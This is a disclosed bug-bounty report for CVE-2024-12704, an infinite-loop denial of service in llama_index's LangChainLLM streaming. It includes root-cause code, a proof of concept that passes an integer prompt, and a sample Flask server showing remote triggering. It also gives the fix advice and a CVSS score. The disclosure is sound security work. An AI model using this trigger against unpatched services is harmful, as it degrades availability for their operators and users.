

Denial of Service(DOS) in LangChainLLM due to missing exception handler. in [run-llama/llama_index](#)

✓ Valid

Reported on Dec 14th 2024

Summary

The `stream_complete` method of the `LangChainLLM` class executes the `llm` using a thread and retrieves the result of the `llm` via the `get_response_gen` method of the `StreamingGeneratorCallbackHandler` class. During this process, `get_response_gen` recursively detects the `on_llm_error` and `on_llm_end` events. However, if the thread terminates abnormally before the `_llm.predict` is executed, there is no exception handling for this case, leading to a DoS (Denial of Service) situation.

[Target Link](#)

Root Cause

```
def stream_complete(
    self, prompt: str, formatted: bool = False, **kwargs: Any
) -> CompletionResponseGen:
    if not formatted:
        prompt = self.completion_to_prompt(prompt)

    from llama_index.core.langchain_helpers.streaming import (
        StreamingGeneratorCallbackHandler,
    )

    handler = StreamingGeneratorCallbackHandler()

    if not hasattr(self._llm, "streaming"):
        raise ValueError("LLM must support streaming.")
    if not hasattr(self._llm, "callbacks"):
        raise ValueError("LLM must support callbacks to use streaming.")

    self._llm.callbacks = [handler] # type: ignore
    self._llm.streaming = True # type: ignore

    thread = Thread(target=self.complete, args=[prompt], kwargs=kwargs)
    thread.start()

    response_gen = handler.get_response_gen()

    def gen() -> Generator[CompletionResponse, None, None]:
```

```

        text += delta
        yield CompletionResponse(delta=delta, text=text)

    return gen()

```

The `StreamingGeneratorCallbackHandler` methods only handle events related to the `llm`. If the thread terminates abnormally, then the `while` loop in the `get_response_gen` function will run indefinitely.

This vulnerability can be triggered by raising an error in the `stream` method that is unrelated to the `llm`. When this occurs, the thread will terminate, but the `while` loop will not stop.

PoC

```

import openai
from llama_index.llms.langchain import LangChainLLM
import os
from langchain_openai import ChatOpenAI

os.environ["OPENAI_API_KEY"] = "<YOUR_API_KEY>"
openai.api_key = os.environ["OPENAI_API_KEY"]

llm = LangChainLLM(llm = ChatOpenAI(model="gpt-3.5-turbo"))
messages = 123

# Generate response
response_gen = llm.stream_complete(messages)
for delta in response_gen:
    print(delta.delta, end="")
print("\n")

```

If the user provides an input of type integer instead of a string, an error occurs in the `stream` function, and it can trigger a DoS attack. When the PoC code is executed, the thread terminates due to the error, but the process continues to run.

Simple Case in Real World

I made a simple server that answer for the user prompt.

```

import openai
from llama_index.llms.langchain import LangChainLLM
import os
from langchain_openai import ChatOpenAI
from flask import Flask, jsonify, render_template, request

app = Flask(__name__)

os.environ["OPENAI_API_KEY"] = "<YOUR_API_KEY>"

```

```

openai.api_key = os.environ["OPENAI_API_KEY"]

llm = LangChainLLM(llm = ChatOpenAI(model="gpt-3.5-turbo"))

@app.route("/")
def home():
    return render_template("index.html")

@app.route("/ask", methods=["POST"])
def ask():
    data = request.get_json()
    question = data.get("question")

    response_gen = llm.stream_complete(question)
    res = ""
    for delta in response_gen:
        res += delta.delta
    return jsonify({"answer": res})

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=7000)

```

```

<!-- index.html -->
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Ask a Question</title>
    <style>
      .spinner {
        border: 4px solid rgba(0, 0, 0, 0.1);
        border-left-color: #000;
        border-radius: 50%;
        width: 40px;
        height: 40px;
        animation: spin 1s linear infinite;
        margin: 20px auto;
        display: none;
      }
      @keyframes spin {
        0% {
          transform: rotate(0deg);
        }
        100% {
          transform: rotate(360deg);
        }
      }
    </style>
  </head>
  <body>
    <h1>Ask a Question</h1>
    <div class="spinner" id="loading-spinner"></div>
    <form id="questionForm">

```

```

<input
  type="text"
  id="question"
  placeholder="Enter your question"
  required
/>
<button type="submit">Ask</button>
</form>
<div id="answer"></div>

<script>
  document
    .getElementById("questionForm")
    .addEventListener("submit", async function (event) {
      event.preventDefault();
      const question = document.getElementById("question").value;
      const spinner = document.getElementById("loading-spinner");
      spinner.style.display = "block";
      const response = await fetch("/ask", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ question: question }),
      });
      spinner.style.display = "none";
      const data = await response.json();
      console.log(data.answer);
      document.getElementById("answer").innerText =
        "Answer: " + (data.answer || "No answer found");
    });
</script>
</body>
</html>

```

If the user put a normal prompt such as hello , then the server will answer for the user input. But if the user modifies the input value to an integer using a tool like Burp Suite, A DoS (Denial of Service) can occur.

[PoC Video](#)

Patch Recommendation

Add a timeout option to the StreamingGeneratorCallbackHandler to prevent infinite loop.

Impact

An attacker can create an infinite loop through a prompt, degrading the server's performance.

Occurrences

base.py L25

⚙️ We are processing your report and will contact the **run-llama/llama_index** team within 24 hours. a year ago

🔗 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists a year ago

huntr-helper commented a year ago

[Admin](#)

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Report is out of scope if it contains proof of concepts (pocs) or demonstrations of the vulnerabilities being exploited against a 3rd party.
- Exceptions triggered in local libraries without networking components

✅ **Massimiliano Pippi** validated this vulnerability a year ago

\$ **life-team2024** has been awarded the disclosure bounty ✅

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 **CVE-2024-12704** assigned to this report. a year ago

✅ **Massimiliano Pippi** marked this as fixed in **0.12.6** with commit **d1ecfb** a year ago

\$ **Massimiliano Pippi** has been awarded the fix bounty ✅

\$ **base.py#L25** has been validated ✅

✉️ We have notified the **run-llama/llama_index** maintainers about this report in their weekly follow-up a year ago

⚠️ We have sent a warning to the **run-llama/llama_index** team to inform them that this report will be published in 48 hours a year ago

📡 This vulnerability has now been published 10 months ago

👤 **CVE-2024-12704** has now been published 10 months ago

CVE
CVE-2024-12704
Published

Vulnerability Type
CWE-835: Infinite Loop

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
v0.12.5

Visibility
Public

Status
Fixed

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



life-team2024

@life-team2024

MIDDLEWEIGHT



Fixed by



Massimiliano Pippi

@masci

UNPROVEN



